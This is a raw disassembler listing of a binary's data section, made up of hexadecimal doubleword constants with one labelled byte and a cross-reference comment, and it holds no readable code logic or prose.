dd 49DCEB6Ah, 0ABE23517h, 0C3BA9774h, 80EB4C6h, 80B590EAh
dd 0AF52F462h, 9D6D0063h, 7F7D67E9h, 116CDD6h, 742C5B5h
dd 0D4E1FF5Fh, 8601DCBBh, 0EFB90683h, 126AA959h, 8DD5E2F6h
dd 0A62B57FCh, 8FC70223h, 5E7BF8AAh, 9DFE51ABh, 5884BF33h
dd 0A9BC22BBh, 5F1AB6A2h, 0FA40906Dh, 5960F8Ah, 0DF4726F5h
dd 0B1B3045Dh, 76D94B25h, 2E4D3AC1h, 8725D1BCh, 0D372E229h
dd 5DB370B2h, 929EE704h, 94A81528h, 53CF114Ch, 0FA5D2C60h
dd 0E601FB3Dh, 48D140Ah, 206025F0h, 0B905253Fh, 0D23A7E9h
dd 8CA0A076h, 1172729Dh, 54E1DD16h, 212561ACh, 1BB0AEEEh
dd 57A91997h, 40D94760h, 90055B05h, 0B032BB66h, 0DE2532ACh
dd 1511B11Dh, 0E82D6E82h, 3D002D7Ah, 0F219F172h, 3A742F04h
dd 2707CDBEh, 0F0E09B0Ah, 39C5BB52h, 7E268025h, 0DEAC2EDBh
dd 66DA5803h, 0EF9764C5h, 0E10B21F2h, 6800073Fh, 422EE190h
dd 6109FCFCh, 2B078C9h, 3DC226Fh, 0AB5E3AB7h, 0D448F4E9h
dd 85ABC250h, 0B66E07E1h, 1AC8AD8Fh, 0BA334BC0h, 0B95816DBh
dd 81FEB179h, 0E97D53C0h, 1D620189h, 626A9778h, 73AD7E5Ch
dd 90FE7A75h, 2607D683h, 8745FC1h, 7B2514C8h, 18195910h
dd 0D9D02E9h, 31579442h, 0C6251151h, 0DCA2B4A5h, 91A60909h
dd 0AEBF7908h, 2DBC406Fh, 611E2F97h, 44E78924h, 1ECE00D7h
dd 0EA91F8E5h, 2601D2BFh, 0C3E38FE6h, 5BF4D32Ah, 27A7938Ch
dd 0D602FA74h, 0DE88B966h, 0A8461690h, 127A3EF2h, 82335796h
dd 86D0000Ah, 986956A0h, 0B3D8F1Eh, 943E016Fh, 5B616063h
dd 0E6D650C5h, 5FC700AAh
dd 0ACAF150Fh, 30482C5h, 0A0043D6Dh, 1413C8BBh, 0E7884F2Eh
dd 53EB7A00h, 2B48B87h, 0B64A10A2h, 1A40F1F6h, 61275ED9h
dd 5EFB796h, 0B2DA54E0h, 13A60116h, 0E3D8ECFBh, 17AFFF0h
dd 9063A468h, 2F4B84D4h, 8D90AF34h, 4B4D1668h, 4BA6A8A6h
dd 4EE99F80h, 0EF70F3B9h, 0A7084BE1h, 4E093B1Eh, 50252ABDh
dd 55485AC4h, 26127375h, 5FF04B27h, 28DD93F9h, 3D615958h
dd 6600ACE8h, 1F22F2B7h, 1031ED58h, 25237995h, 0AD61E5F5h
dd 94950AF8h, 21346C66h, 7902E3F5h, 0E96EC87Eh, 343D5542h
dd 9ACCF180h, 0FA26714Bh, 253A90EEh, 22D39327h, 8018115Fh
dd 0F338EA0h, 0B22B5C99h, 8963BE76h, 18741579h, 3E0D4F71h
dd 3F00946Ah, 705A73E4h, 5D25C509h, 0F43E8819h, 9D041B58h
dd 2343146Fh, 7BDBE8B0h, 648F6FAAh, 311D5062h, 9D45B057h
dd 0EB214145h, 0EB4AE1B3h, 6A4A14F7h, 399E0351h, 898068E6h
dd 302E02E3h, 60CB817Fh, 7F0B0C12h, 8E6249F3h, 0F8090E79h
dd 50F8ED4Dh, 28D340Fh, 0F414AF5Fh, 73E65EF5h, 0CD4019E0h
dd 0B0659100h, 0C02E28B5h, 8E0F2752h, 0C1ABC790h, 584BD125h
dd 483F9F39h, 0F92E9504h, 0A9F374AFh, 32C8A81Ch, 1A8D513h
dd 9551F827h, 752F0611h, 0C560062Fh, 0FB4B191Ch, 409EFE95h
dd 0E471FEC9h, 0C8B0F87h, 0A0F04E09h, 9C331921h, 0ECBFE035h
dd 7F5A82ACh, 0BE0055A2h, 52B4FB7Bh, 5C038B6Fh, 5ECB640h
dd 5B9BCB08h, 5BF792C2h, 372FF45Ch, 0FB960068h, 82CDE301h
dd 92B4BB05h, 5F00E8F6h, 0E455832Bh, 938C0111h, 0B21D4FCFh
dd 0FE9820B8h, 20508BA0h, 0C0B4ED95h, 9C5AC7ADh, 0BB666804h
dd 18BC7531h, 0D19CB0D7h, 1AC4D04Bh, 0DAC491B9h, 0F58E8299h
dd 0A4E672C0h, 0BACC1100h, 0AAF24F9Eh, 935C50BBh, 6A2744A9h
dd 4DE7CBEh, 3C121FDh, 85EB803Ah, 0ED952AB9h, 6215E4C7h
dd 0F0386220h, 187B9765h, 726CD0D0h, 6538198Dh, 10068661h
dd 0F2F5F0B4h, 8A632A8Eh, 0A0E90D9h, 1AB58D01h, 77DB5263h
dd 97838650h, 8D601A9Ah, 9497D4C6h, 0FC5F440Eh, 6EEB8101h
dd 9619CAA0h, 5029B128h, 23D480F0h, 9F1B7DABh, 140062F6h
dd 4A988565h, 3EE5C70Eh, 4A4C8F07h, 0FFA27D80h, 5F12CB72h
dd 33E6965Bh, 13389AE0h, 19350501h, 981277FEh, 64E6CC89h
dd 0AA805D5h, 8A2B9929h, 55B712DCh, 1A230D6Eh, 0A2701B0Eh
dd 58E4537Ah, 15112569h, 6DADE6C5h, 0EF934FD0h, 0DABC0D18h
dd 0AB5F09BBh, 0EA717208h, 9EFB5944h, 79CAC5BDh, 0C1D39DA8h
dd 2FF22639h, 0AD1F0934h, 0C6270410h, 82D1BBDBh, 120A43D0h
dd 0E24F0BAFh, 88ECD2D8h, 0E9251320h, 0B6C3783Ah, 9F9440DFh
dd 510006EBh, 117A0EC7h, 12580BCAh, 0BDA17D09h, 0BE8B0h
dd 1AB60636h, 4AD4EE4Eh, 2685C1B7h, 0CAC742Eh, 90B7A186h
dd 2CE75158h, 8608F15Bh, 0C5609E04h, 0C49061D7h, 0B749FB08h
dd 7537FD6Ah, 983A5481h, 50A5FB19h, 7CA0BCF2h, 6A5AD98Fh
dd 0E4F04CB6h, 0AE013C4Dh, 8AF5A263h, 26B2210h, 0AC7108BEh
dd 0E05BED5Fh, 0FFCACD9Bh, 90BDEA28h, 0ED010997h, 7FCDC149h
dd 673128E6h, 90865FEh, 0F75E5150h, 0F7D54A2Dh, 53FA8EB0h
dd 0B49987F2h, 61850905h, 5F5F47B0h, 0C312DB6Ah, 0A06A72ACh
dd 0C03AD7E3h, 39EDBB44h, 98976FD6h, 5E0B5024h, 5BCF449Dh
dd 0DE27BCF5h, 2C35BDC4h, 9B6C53AFh, 0E8E58A48h, 3991B901h
dd 4230D5A7h, 4457D33Dh, 0BC8B3FCFh, 2917A232h, 1F35E78h
dd 0FF24026Ah, 50BE2A8Ah, 97D9BAAh, 0C0717DE9h, 178412C4h
dd 73546FFEh, 272A4F14h, 398D16E4h, 49B66C5h, 2E9134C0h
dd 0CD2FFE2Fh, 9909A60h, 4B9FDA8Eh, 0FCF8C61h, 49498F4Ah
dd 84E2F6F9h, 163BB5BFh, 0FFFD7E04h, 8BE143FBh, 5E0890D8h
dd 3D220D95h, 9303BA84h, 928CB961h, 6EAD11F8h, 0C8EA4F23h
dd 62DB94h, 0C9E21ED5h, 89AD7C09h, 2E454A1Fh, 0D1062C49h
dd 5971A5C2h, 0BD500449h, 0B293B652h, 0B5C23016h, 0FE008BE4h
dd 0BCBFFF6Ah, 0BD6C8F66h, 0C93F0E0Fh, 3DF53099h, 0E22D126Eh
dd 0A6F04B82h, 97D90443h, 0B9111A3Bh, 0BCA29E55h, 0BE300490h
dd 987C231h, 0BF01B007h, 1FE467EDh, 23703FE6h, 0BC2E2192h
dd 8858F0Fh, 5211C42Fh, 0FCEF42B4h, 34FF21F8h, 0BD8B5085h
dd 5F2C30F9h, 253C2433h, 0F9293A61h, 2B8253A1h, 6B1CB9B1h
dd 8DFD0BC9h, 1F8214E5h, 3DB509C8h, 0D15CC77Ah, 0CD02C0A7h
dd 1FE3CBh, 0BE7388D3h, 209A1BB2h, 0B151C80Eh, 0C096D455h
dd 0FD125AC5h, 5EFE07CEh, 0F95B79CCh, 8C625756h, 0F5E2C25Ch
dd 9B75A8A9h, 33FA4E9Dh, 0C0C2F9D2h, 0CDA4AD2h, 56B94218h
dd 243F9144h, 606F6960h, 6B18FE80h, 20C23FEBh, 0C2B1B91Fh
dd 2DB58B2Eh, 0FF5E98A4h, 0CE513020h, 40B01D2Ah, 0C26400BAh
dd 4573A593h, 0DAEC3D07h, 2606C402h, 58D3047Ch, 0E240E961h
dd 9FA84E9Bh, 9112E7D0h, 1031EE26h, 53112984h, 0D9CE8156h
dd 0A5835B5Fh, 84FE1C42h, 0F4540485h, 1053AF12h, 18195E6h
dd 2E1B3D8Dh, 413E4028h, 8B622DF4h, 0DE245E6Ah, 0D442DCCBh
dd 71826989h, 425C0575h, 0EFF380E0h, 842A4FB9h, 0E166A698h
dd 172E0D07h, 0B8AAED50h, 0BD88184Dh, 7CB44883h, 0ED20AE5Fh
dd 74184C21h, 73D1B079h, 77100031h, 0E7F71204h, 321454D8h
dd 229EFC3Bh, 3B98BF08h, 0B5955B51h, 801A113Fh, 0B07BBD70h
dd 596E000Bh, 32B3D4B7h, 5300D22Bh, 3896D381h, 955F24B6h
dd 0ACA3E4CDh, 1379E358h, 0F60BD380h, 8A57E0B4h, 9555057Ah
dd 89800F8Eh, 12606090h, 7FD98Ah, 0C32629B4h, 7201EDFFh
dd 7E25EEC1h, 172EC815h, 0E89AF999h, 113200BAh, 60CA64B2h
dd 61B77883h, 8C040F74h, 0FD005B3Fh, 0C621681Dh, 9E7BD6F5h
dd 2B4D6B96h, 5D9DB9C0h, 0D7F305A1h, 0FCBA11CAh, 0EF64124Bh
dd 9A4FEEE7h, 24F9F69h, 0B8CFC01Eh, 97346BDAh, 65A3F415h
dd 76276F58h, 17C571CAh, 0C83C8501h, 0BEF8B511h, 0DC6D7000h
dd 0EC69220Ch, 8A770566h, 0ED07999Ah, 4C6B833h, 18572F3Dh
dd 0A214BC9Ah, 20023FAEh, 75787D36h, 0D681AF80h, 8A09D55Bh
dd 0F3B861CFh, 31ADF0F8h, 40F4E801h, 993B2CDEh, 5AA5BD04h
dd 15B2F1E6h, 0B05EF230h, 25E30086h, 0AE3E22BFh, 0E14EFF4Eh
dd 27DF96Eh, 755FC10h, 19F6E9BFh, 0EDBC2116h, 0D22CBFE2h
dd 0F31A4A1Dh, 27C78DC4h, 180D4C89h, 7E71C35Eh, 0FED6C114h
dd 0C4875B60h, 0BB0B631h, 0C50E4B43h, 0F9F00413h, 5498AE24h
dd 0FDEC018Eh, 45CD2C38h, 8002F97h, 0CD872BBh, 0D0249739h
dd 0D0007E44h, 0D398761h, 0F725AF26h, 0EF246AF5h, 1AEF4058h
dd 5330529Dh, 0F5B52C5Bh, 1345B726h, 73EB5A7h, 0D120C612h
dd 943B89FCh, 30A03E7Ah, 0DF8063B5h, 204CB8A7h, 901C2139h
dd 52805650h, 0BE1B63BBh, 310F2E4Fh, 3FE60FBh, 7800E609h
dd 0DC67D2A6h, 27BD378Eh, 0CFFE6628h, 5A5BBA00h, 0A905F58h
dd 2CD59D29h, 74582762h, 393220E5h, 9680F40h, 7D95BE01h
dd 93090D59h, 44D801C5h, 12B8D6Fh, 8ABDFE33h, 0A53C897Dh
dd 5A9E5E2Ah, 1D43A7Eh, 0F54E830Eh, 6BD4C6CEh, 0EE8DCBD8h
dd 14BA8932h, 0C1C3E79Bh, 5E31EF30h, 0BF0FAFD1h, 2B6FD92Bh
dd 0E4F9C613h, 270072ECh, 1FD8B817h, 5A1546BEh, 694521A0h
dd 5DE66AF4h, 88128239h, 0ADBD84ACh, 0A13757D8h, 0F0E5D51Bh
dd 3D5FB8F4h, 602D31B6h, 99A51579h, 0A330BB04h, 97137261h
dd 2033F119h, 89802D50h
dd 8669606h, 79493075h, 799D8684h, 464F2D0Fh, 0DD10DDE8h
dd 0BF96001Dh, 7BCF44C8h, 7468B750h, 6081E032h, 7BF4216Ah
dd 6283C442h, 63DFAD00h, 0C193FE1Dh, 0AFB91266h, 5A0BAE7Ah
dd 0C0226D96h, 0CEE0F697h, 226ACB02h, 0CAC5BD89h, 49AF5618h
dd 0B9E05CEDh, 0E223CCE8h, 2BDEC028h, 0B8A1682Dh, 12B7CE49h
dd 0A04EB034h, 41D1EB5Eh, 0A442FEF6h, 61FB49C5h, 80D7352Eh
dd 0E9DC2362h, 0A7F490F2h, 50B17517h, 0A40002F3h, 0F6ACEA0Ch
dd 9A2FF2DFh, 0C037CD90h, 0F98BF646h, 655EE95h, 0A19D01FAh
dd 0C6A0A133h, 0E7B51CD5h, 9812A8EFh, 45679547h, 0B227371Bh
dd 4039568Ch, 11941030h, 0D4E20997h, 3B00F442h, 0C8EB394Dh
dd 9BB0732h, 18A68CD6h, 25D7E271h, 9232FA40h, 7D9D8916h
dd 9509AD42h, 80C348B1h, 8AF04BD7h, 9EA622CAh, 0ACC44007h
dd 68018288h, 4966169Ch, 9D2E2E84h, 0E8CB6461h, 64AB1125h
dd 0A656000Bh, 0C33BCE10h, 4C015302h, 59011E92h, 0EA4B5F61h
dd 0BD7F6735h, 7C40B91Dh, 9CBDD2Ch, 0A964E753h, 3508F7DEh
dd 15462F0Dh, 0E6E2810Fh, 172C98Eh, 22159D45h, 0C8139B6Eh
dd 8AB3C019h, 0E0E4DCEh, 2CBD0140h, 0E18F8118h, 0D60CB914h
dd 8380C7DAh, 480B5AB4h, 0A667F195h, 0F88BC2FCh, 960675Ch
dd 0B725C99Dh, 0E49D014Eh, 0EA689DA5h, 0B3759E16h, 8D37DE13h
dd 60EFB453h, 0E357BBF5h, 70B6A9BDh, 53ED9F24h, 0BF274AC0h
dd 0AC0C7CC9h, 0F5B595BEh, 0E4801591h, 9ABF6687h, 9BD89E4Bh
dd 266809E3h, 0E9724885h, 0D0E05395h, 0FD2DD214h, 0F8CA850Eh
dd 0C43E09AFh, 0E2F6DDF6h, 2691B30Ah, 4B29118Ah, 5C9A7275h
dd 0CCE273C2h, 7327065Eh, 706D70FFh, 0F4E52216h, 353071FAh
dd 0F8AC040Bh, 8B81DB5Ah, 39A802AFh, 0A0E20928h, 5631BAD7h
dd 0C124D43Eh, 0A5385C7Dh, 0E5F1F9h, 44D0624Ch, 743F392Ch
dd 3C388E50h, 22E95612h, 0A8CB8084h, 97DB4B1Eh, 7D801880h
dd 97026CD2h, 721971F4h, 5581C0F9h, 0E161820Ch, 850684D0h
dd 59C91BA5h, 196127C2h, 1459C173h, 0BA977418h, 50707B23h
dd 2B0B3DAAh, 85B06FB1h, 0E8C2D9DEh, 0DE036AD8h, 98540E0h
dd 8E0EC480h, 0A0D0E24Fh, 31D8BA5Eh, 6DFA3E2Dh, 50126852h
dd 3B0EF35Bh, 0DB113F29h, 598805A3h, 0A248F9A7h, 139D209Eh
dd 0CA966124h, 0B767F99Dh, 0E576070Dh, 0B4D51080h, 0CC4EAB84h
dd 8234E4F0h, 1200A871h, 2E50D514h, 60F4F8h, 1FD2CE49h
dd 795536C8h, 0D18D36C9h, 91B74206h, 8B62095Eh, 0E15632DFh
dd 0F450D6A5h, 0F9F7E40Bh, 0E109A267h, 51DE5C80h, 0D733AB86h
dd 1A60EE78h, 5551B501h, 491B540h, 0BA55C2AAh, 51CEF3E9h
dd 0E92C30A7h, 0CB5F0E6Eh, 0C6A7E129h, 804B9E3Bh, 0B096C05Ah
dd 50DE009Ch, 897D86B1h, 69D2AD95h, 6BF5E3ACh, 0E93009B9h
dd 2C25CA1h, 0C18B5B56h, 37E035CDh, 5A138A36h, 0D31EFDF5h
dd 8F80A8DAh, 905C7BD9h, 6D449Fh, 0ACC6D6F6h, 54464F12h
dd 72175024h, 1E65FF60h, 75140072h, 0B7E1FEFBh, 0AA3C7107h
dd 5BC78BB8h, 27C77C90h, 9400F054h, 617307C3h, 0F253F850h
dd 0A52E0935h, 0EAAF590Ah, 903790ABh, 3CACF596h, 0CC5DE715h
dd 5F11B150h, 0C8C68F0Bh, 0E2B2C21Dh, 0CD92CCE0h, 0A1D45B0Ch
dd 28E368C4h, 0F1BBA76Eh, 0BC07ACDCh, 0A8644084h, 9730C59h
dd 7196B301h, 94D96E8Bh, 0F38072Fh, 0AC9074BFh, 32080BE7h
dd 23340E5Bh, 0EC30D63Dh, 0B8CBBC9Bh, 561AA0E3h, 550C3705h
dd 0ED001537h, 23846C79h, 0DE3B189Bh, 0E7F3F435h, 0F20514Eh
dd 7193C111h, 0DFB16D2h, 926BBFE0h, 0BBC0FD59h, 671577A7h
dd 4B352FF9h, 4C82200h, 5F8BD1FFh, 0CFEF20FAh, 6004A80h
dd 23A0D952h, 0F1D597h, 0F34E59FAh, 4877047Ah, 6A359497h
dd 0F40B3E9Eh, 5B02EB39h, 6C0B78FDh, 8FFC0E15h, 80123310h
dd 5E74BCDFh, 0B08057DBh, 721BCA01h, 0BD09EF1Dh, 290E0DD0h
dd 4E10658Dh, 4B9D6CCh, 391C3A0h, 4E3BE9CAh, 0BAB891A9h
dd 2632A117h, 0B5310A60h, 2BDBC5C1h, 1F42AFBDh, 5E0F87E9h
dd 0CDCE59BCh, 0BC966DACh, 7EAF0537h, 0FC0D830Fh, 9FDFC03Eh
dd 7F9D29DBh, 3B27B131h, 5A27A590h, 16B2DEE6h, 25FDDE31h
dd 9E955F60h, 0D65A644h, 427124D1h, 6063DFDEh, 8A5E5788h
dd 599FC37Bh, 0F3F8BE6Bh, 669BC254h, 0BAF022C5h, 0C95DA40Eh
dd 2DDD7B3Dh, 3B72047Bh, 1615D0F3h, 11C19FADh, 0CA6F2F34h
dd 0F40F1C23h, 0D48EFCFEh, 0ACD3E09Ah, 4A958529h, 4A5CF333h
dd 5BA001A6h, 0F2464BDh, 0ED0DB240h, 0CC02B108h, 6B890723h
dd 0CE5C0892h, 8B0ED1CFh, 0E606B0DAh, 0AD614670h, 0B371E43Bh
dd 3881B02Ah, 0C0D2EE4Bh, 86159EBh, 0C025181Dh, 6B9509C6h
dd 0BBD86129h, 0DDC91297h, 0D15253E2h, 1D5AC148h, 1093E79Dh
dd 1A2509AFh, 0BDD69857h, 62084305h, 2103140h, 66F5C82Bh
dd 7E8B4C6Eh, 1DCD3478h, 96F5ACDDh, 125B86B8h, 81C08C39h
dd 3312EB78h, 0A5F14526h, 0BBA7982Bh, 0D25DB931h, 892B0A35h
dd 0F233F9h, 8509304Bh, 5DC74h, 2CB156B8h, 25C0DF14h, 0C4D2904Bh
dd 0D3812016h, 33095331h, 0F448E95Eh, 20D660DDh, 2D55BD0Bh
dd 8BE33EA8h, 0E295124Bh, 0C02B2998h, 9D28D98Ch, 0FE18A1A5h
dd 0AA850430h, 0B5087F96h, 99024981h, 1072FADh, 5E237962h
dd 0FE4C509Ah, 69BDAB5Bh, 0D4DD36BCh, 77097309h, 0D400263Dh
dd 1565A4EAh, 7E1412CDh, 87DBBC76h, 0C797474Fh, 5A8A37E0h
dd 784C0401h, 0BC8FA9DCh, 0CB81C1C1h, 11E814ADh, 0CF5559B9h
dd 8625126h, 712D2C6Dh, 94B5A590h, 0B75D430Ah, 61AA508h
dd 2306890Fh, 4045F897h, 8FB4FC34h, 6DD602DCh, 3BD170F2h
dd 2F5DE540h, 1EC26C95h, 4E5A081Dh, 44A087BAh, 0BB18FA4h
dd 0C55D5902h, 0DDCFF529h, 0AC5FAA04h, 0DD0492FEh, 0BF000845h
dd 17FA83F3h, 3F10BA51h, 26FA0C8h, 25B1C1BFh, 6B4050F7h
dd 0DCC4EB7Dh, 5B0918D5h, 2BE9CD79h, 9CB05011h, 6DEEDC9Eh
dd 0A29CB417h, 218EAEBCh, 231FF3C0h, 0FC0183C4h, 0BD31625Eh
dd 0A62B17B1h, 85890534h, 5A22D81h, 89AE9AD2h, 0AF6A7BC7h
dd 3751F95Bh, 0FE8FF47Ah, 989F7095h, 0FDBD10D4h, 3B8F4C34h
dd 2EADD59Dh, 9A5F782Fh, 1379800Dh, 0B49B274h, 0D4827CE8h
dd 160DA085h, 0C0E59B96h, 0E8C2E340h, 0F8F94BAFh, 0C0E4D3DFh
dd 823B905Bh, 2534FC6Eh, 641C7DC5h, 0F4F27627h, 0A9E94701h
dd 5B793252h, 336DAD41h, 8893DB2Bh, 19F3C017h, 87B0D19Ch
db 25h, 2, 38h
byte_544547 db 0E6h ; DATA XREF: ___:off_44720Co
dd 0D068DF75h, 0E1FF181Dh, 9714B110h, 7098339Ch, 9D330197h
dd 350F2D21h, 43ED27F0h, 0B680FA8Ch, 39CAFC4Bh, 8133A130h
dd 193ED0D7h, 0B6824AA2h, 0ED600430h, 0F1B831h, 8398B409h
dd 9D807870h, 54405BB4h, 4682C6h, 0E51EFE1h, 2D29AD1Ch
dd 0D64FA204h, 5ABC731Dh, 3D9D3309h, 4D5C4642h, 25DC002Eh
dd 65E9263Dh, 0B70A1438h, 56A5A4C1h, 1846D64Bh, 4AE6BB02h
dd 0EC62628Ch, 0ED5579C2h, 635DE858h, 0AA719391h, 97B053D7h
dd 2F908108h, 0B080A984h, 490B73BFh, 3262ED7Dh, 1C0A05F5h
dd 3FF034Eh, 8ACD841Fh, 0F6CDA840h, 0C6E01C7Eh, 505C8006h
dd 9637BE60h, 56095A7Fh, 8D5E5951h, 0D165A138h, 808982DFh
dd 500EBF09h, 0DC14B458h, 98014FFAh, 0F11A9B14h, 12E70431h
dd 0F63491C2h, 301CF256h, 3A765B8Bh, 7DC95E04h, 7181F4E1h
dd 0DC2B2B1Dh, 0E917FC51h, 7DA70241h, 0ED3DCCA0h, 1EEEB80Bh
dd 25B47085h, 59E61644h, 69DDEC4h, 6079F809h, 0B34E3C54h
dd 94C68E80h, 779D1B4Bh, 19709E90h, 0F98DE3C2h, 30965726h
dd 9258D5B3h, 0F7595AB3h, 1E6A5FEEh, 1CF5417h, 0B29983B6h
dd 2B827174h, 3280799Bh, 0FC7E73C8h, 0ED2448B0h, 46F4EB33h
dd 7D3919h, 0BD80585Ch, 254E5ABFh, 99E2261Ch, 0C1E0356Dh
dd 0E27D2D72h, 0A0535E8Dh, 507496BCh, 0A4ADC274h, 40A2A4E2h
dd 97256BC2h, 14568D8Bh, 8DB124F6h, 602D1C1Eh, 3775681Fh
dd 52506D04h, 498A20AAh, 45000480h, 2E402438h, 5A51868h
dd 0E9ED14AAh, 1463BA5Bh, 6DDC998Ah, 0A8F0AF36h, 334B3A91h
dd 4159C2A0h, 25147823h, 0A79B7B0Bh, 7E7042DBh, 0C4F03A7Dh
dd 4C88A602h, 887DCAB1h, 90838411h, 0A550A3B7h, 86E12DE6h
dd 600BC03Fh, 6699B802h, 78F51BE7h, 992DE6B8h, 7E0F4B75h
dd 5B786FF3h, 0BAA516B8h, 92788C2h, 0AEE57804h, 0F84DF99Ah
dd 99006FBCh, 0DD4F8F82h, 0B64410FCh, 2AB4E2Ah, 0DE000896h
dd 0C1C4C9E7h, 9703B8C8h, 53695694h, 7808533Eh, 0BA3EA35Fh
dd 9F55802Bh, 60E659A2h, 0BD9DF253h, 0E45AC369h, 578A8F0Fh
dd 6A006466h, 1C25F42Bh, 0FA429F2h, 2EE7EDD2h, 0AB8CBE25h
dd 771E3D82h, 0E7957866h, 0FA93743Eh, 2FAD55Bh, 57E934C8h
dd 6AFDCFCAh, 55CD7785h, 1EC012E0h, 204FB060h, 9761C1Dh
dd 0C257D32h, 519E7461h, 880C08CEh, 1B00D07Fh, 6CEBBDE0h
dd 24C9FB1Eh, 2CAC1A90h, 8B5B4421h, 25A9282Eh, 7A9C0644h
dd 33EC0339h, 5F505105h, 0AB65AF8Ch, 19D29D1Dh, 0E9B43BE8h
dd 2E82A8E2h, 0ADD50319h, 1779BA73h, 0B107A018h, 85310AF6h
dd 0CBAE1A84h, 0D19A4A44h, 9EAD3B80h, 0BD0B2258h, 50AA4B25h
dd 0BF174043h, 2A498507h, 0DEC5966Bh, 1A17ABAh, 451F85A2h
dd 0A77FF921h, 26BD4AF4h, 548C14B8h, 971AE08Eh, 2B05F891h
dd 0BDD36CB2h, 1B3A831h, 0F1A579D4h, 6424692Ah, 0EAACF7C8h
dd 45708976h, 8244DB95h, 0D694BB66h, 0D4A9AB85h, 4B70BCD3h
dd 0A6EC45F9h, 71C02B03h, 0A06B6E0Dh, 97FC1646h, 27BE80D3h
dd 2ADB24h, 92FEBAACh, 0CD008048h, 0C065C51h, 4C127CCh
dd 33B55D49h, 4D6DE8FCh, 916BCE7h, 9ECE5DD8h, 55B461D0h
dd 5BFC5304h, 0F6D642E9h, 6377A0B1h, 8FC100F5h, 5DB8194h
dd 124EE590h, 9B3A358Dh, 517D82EAh, 1637160h, 0CBCAD171h
dd 8412C816h, 41A6F900h, 0D2DB6409h, 0A2F04F4Ah, 0B4F04F76h
dd 0EAF658B8h, 0F0F9E65Bh, 93500584h, 92387285h, 0FF01AD02h
dd 0B31B6857h, 0E8203199h, 0AEDB9508h, 5496F58Bh, 0AC72A6F8h
dd 0D7925E9h, 2B577880h, 0A032C3h, 6FD42942h, 27525CDDh
dd 0ADAC370Bh, 0ECA0C679h, 0B0BDC83h, 3C76965Fh, 1E819DCh
dd 5BDF92D2h, 0C01B8887h, 0B52220B4h, 9427F8E4h, 9D9146F5h
dd 3B123344h, 9F078699h, 3920A060h, 59D9480h, 6CFCF90Ah
dd 5120EB19h, 0DA8485h, 3A784AEAh, 8FF04E44h, 17454D0Eh
dd 0B6A2335Bh, 50893988h, 681A7E8Ah, 2F007E67h, 27693FE5h
dd 3DF44354h, 2FDB560h, 0EC7B866h, 0E5C1615Ah, 574FE8EEh
dd 0AF9EA0ACh, 9397E625h, 6FD879B5h, 0F2D079DAh, 0F88E1FA1h
dd 0A53966C7h, 9D018413h, 5EC828A9h, 9D037665h, 1811E137h
dd 0CD124A80h, 0C5BC85DBh, 22AAB76Eh, 8B7452ACh, 5F270D10h
dd 551CF145h, 40914F2Fh, 7401305h, 6126603Fh, 0A682BFEEh
dd 93EE343Ah, 0FE84C694h, 0DCB9DBh, 0FCFB635h, 1E9DFFBFh
dd 58E6B3C0h, 0DB588A0Eh, 11CB0119h, 0FFF1AFE9h, 0DCE774C6h
dd 0F2D38F5Bh, 0FEF425C1h, 19E57F76h, 0BF908940h, 3B6D5BDDh
dd 4CCC505Dh, 0DA7E40DFh, 9E8F6B4Ch, 56CB8A00h, 0D7C663B2h
dd 571F1387h, 4A51F288h, 0EE9ECE41h, 91680664h, 0D7852A80h
dd 2803637Ch, 151CD69Ch, 9EAE8C5Fh, 53F580B5h, 6878DE9h
dd 0FB143895h, 0C897D43Fh, 0B4DBB8Eh, 6A2AFDD7h, 9DEC7FCh
dd 1536DB1h, 0ED04A05Ch, 1E060A3h, 2DA2A425h, 62E40E11h
dd 0AC937F13h, 1BCD1E9h, 3E1921Eh, 5751C9C2h, 78CB898Ah
dd 80A191CEh, 5FA19171h, 2DE6F539h, 0ACCA0800h, 73F31D56h
dd 9836623Bh, 5F002341h, 7B4B790h, 0BA666050h, 0B1985992h
dd 0CC00C0F0h, 94B12EBBh, 1FA7FB5Ch, 65622C37h, 0CC0145F9h
dd 0BCAD817Bh, 9061DA41h, 5907DF63h, 0B0843AB8h, 0C41DC173h
dd 0A940D500h, 0D375E4Bh, 18F39DE4h, 0CF2EBD0h, 0DC6A45CEh
dd 2BCCDD4h, 0D55D0249h, 47BADD0Eh, 0B0BE6F7h, 10F99D33h
dd 9E94D76h, 4E404442h, 800ADBD1h, 152BF154h, 818B01F3h
dd 0B3F5A1D3h, 0EA283A5Dh, 0A72AE16Fh, 97C6A061h, 95C23B9Eh
dd 1A6A6AEh, 85096001h, 4006F91h, 0A7DAAFB8h, 80610268h
dd 26A66E7h, 1670C153h, 54D102D3h, 6F5CC845h, 1DC302F5h
dd 171D74A1h, 0C6D64F5h, 0E90DF1A5h, 450DE227h, 168992BBh
dd 2C7A8Bh, 0EDE02B06h, 2C52843Dh, 0AB060DFh, 12FB29F0h
dd 0A150EC1Ah, 69F88B60h, 0DFA5C91Dh, 1E715A0Bh, 0BD162500h
dd 4569831h, 0F2F7B751h, 0FE7DC462h, 1784099Bh, 80B3F850h
dd 115E5DA8h, 73DB066h, 0ECDC4D84h, 0F85B05CBh, 97182019h
dd 0D4569F9Ah, 0C06700DEh, 13F8F7DDh, 0B33A4FC5h, 10C4E9h
dd 20DFB426h, 871D82A7h, 0FD166500h, 0C863DCAAh, 0F85F279Ah
dd 51BFDB4Ah, 9CA7F00h, 3AF093FFh, 5B02381Ah, 0A2DB529h
dd 0BD53E174h, 0B0E744A6h, 3F2FD59Dh, 2477305h, 90C553AFh
dd 93790AAh, 294E3DBDh, 4722B68Ah, 0C71207B0h, 34F8B003h
dd 4FC60BC0h, 0BD0EF6AAh, 0C1EEEC51h, 237B2BAFh, 0B290D4E7h
dd 73B6BB5Fh, 91554E76h, 82935D6h, 4B61F003h, 2296B30Ah
dd 4D109F0Bh, 0F0025B29h, 441EDF32h, 25DD74E2h, 1B4E7AF8h
dd 9BD0AAEDh, 0E2983020h, 0B335F9A1h, 4B191CEDh, 0F8DAC233h
dd 24D574h, 48BBEF13h, 0F0BDAAEh, 0EDC7B088h, 67EC9F08h
dd 45B48DF6h, 0A90896ACh, 0BAD94503h, 359DC645h, 0C7BC1FD4h
dd 4B76A74Bh, 460ECCB3h, 17005B99h, 30F0C91Bh, 0B6F82400h
dd 7AD692D4h, 52CF6609h, 5B5AE3BDh, 95836FEDh, 0A72233F5h
dd 8328B167h, 7E87906Ch, 949B5EF8h, 0F49F8E2Dh, 29406CBEh
dd 76B60E4Bh, 80EC4322h, 38F7194Bh, 918B5200h, 9E6B7DBBh
dd 302A4E1Dh, 9AB7650Ah, 5F292127h, 3440A583h, 0A35760FEh
dd 30AAE492h, 0DD8D2335h, 8E344E99h, 0F6F2A912h, 0AC082983h
